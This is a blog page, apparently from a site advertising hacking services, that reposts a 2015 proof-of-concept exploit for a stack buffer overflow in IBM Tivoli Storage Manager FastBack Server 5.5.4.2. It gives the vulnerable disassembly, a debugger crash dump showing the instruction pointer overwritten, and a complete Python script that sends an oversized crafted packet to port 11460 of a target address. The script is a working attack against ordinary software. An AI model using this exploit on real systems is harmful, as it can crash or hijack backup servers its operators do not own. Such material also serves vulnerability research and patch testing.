Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863539188

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
#         
################################################################################
#
#            Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
#                   _FXCLI_SetConfFileChunk Stack Buffer Overflow Vulnerability
#             Date: 14 December 2015
#           Author: Gianni Gnesa (gnix) 
#
#  Vendor Homepage: http://www.ibm.com/
#    Software Name: IBM Tivoli Storage Manager FastBack 
# Software Version: 5.5.4.2 (x86)
#    Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
#                   - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy" 
#                     (Version 5.5.4.2, Size: 120.7 MB)
#
#        Tested on: Windows 7 Professional (x86)
#
################################################################################
#
# Vulnerability:
# ==============
#
# The vulnerability is a stack buffer overflow in the _FXCLI_SetConfFileChunk 
# function caused by the insecure usage of _sscanf while parsing user-controlled 
# input.
#
# .text:00578D28      lea     eax, [ebp+var_8]
# .text:00578D2B      push    eax              
# .text:00578D2C      lea     ecx, [ebp+var_C]
# .text:00578D2F      push    ecx              
# .text:00578D30      lea     edx, [ebp+var_318]
# .text:00578D36      push    edx               
# .text:00578D37      lea     eax, [ebp+var_4]
# .text:00578D3A      push    eax                  
# .text:00578D3B      lea     ecx, [ebp+Str1]         <=== Buffer that will be overwritten
# .text:00578D41      push    ecx                
# .text:00578D42      push    offset $SG128695 ; "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"
# .text:00578D47      mov     edx, [ebp+Src]
# .text:00578D4A      push    edx             ; Src   <=== Buffer under our control
# .text:00578D4B      call    _sscanf                 <=== Stack Buffer Overflow!!!
#
################################################################################
#
# Crash:
# ======
#
# (a20.ee8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=01cd4fb8 ecx=01eaca78 edx=776870b4 esi=01cd4fb8 edi=00000000
# eip=41414141 esp=01eae324 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 41414141 ??              ???
#
################################################################################

import sys
import time
import socket
from struct import pack


def create_pkt(opcode, p1="", p2="", p3=""):

	# psAgentCommand (0x30 bytes)
	buf = "\x44" * 0xC
	buf+= pack("<L", opcode)			# opcode

	buf+= pack("<i", 0x0)				# 1st memcpy: offset (in psCommandBuffer.data) for Src field 
	buf+= pack("<i", len(p1)) 			# 1st memcpy: size field
	buf+= pack("<i", len(p1))			# 2nd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p2)) 			# 2nd memcpy: size field
	buf+= pack("<i", len(p1) + len(p2))	# 3rd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p3)) 			# 3rd memcpy: size field

	buf+= "\x44\x44\x44\x44"
	buf+= "\x44\x44\x44\x44"

	# psCommandBuffer
	buf+= p1
	buf+= p2
	buf+= p3
	
	# buf len - 4 because the packet length is not included
	buf = pack(">i", len(buf)-4) + buf
	
	return buf
	
	
def main():
	if len(sys.argv) != 2:
		print "Usage: %s <ip_address>\n" % sys.argv[0]
		sys.exit(1)

	server = sys.argv[1]
	port = 11460

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((server, port))
	
	pkt = create_pkt(	opcode=0x534,
						p1 = "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % ("A"*10000,0,0,0,0),
						p2 = "B" * 24000,
						p3 = "C" * 24000 )

	s.send(pkt)	
	s.close()
    
	print "[+] Packet sent."
	sys.exit(0) 
	
	
if __name__ == "__main__":
	main()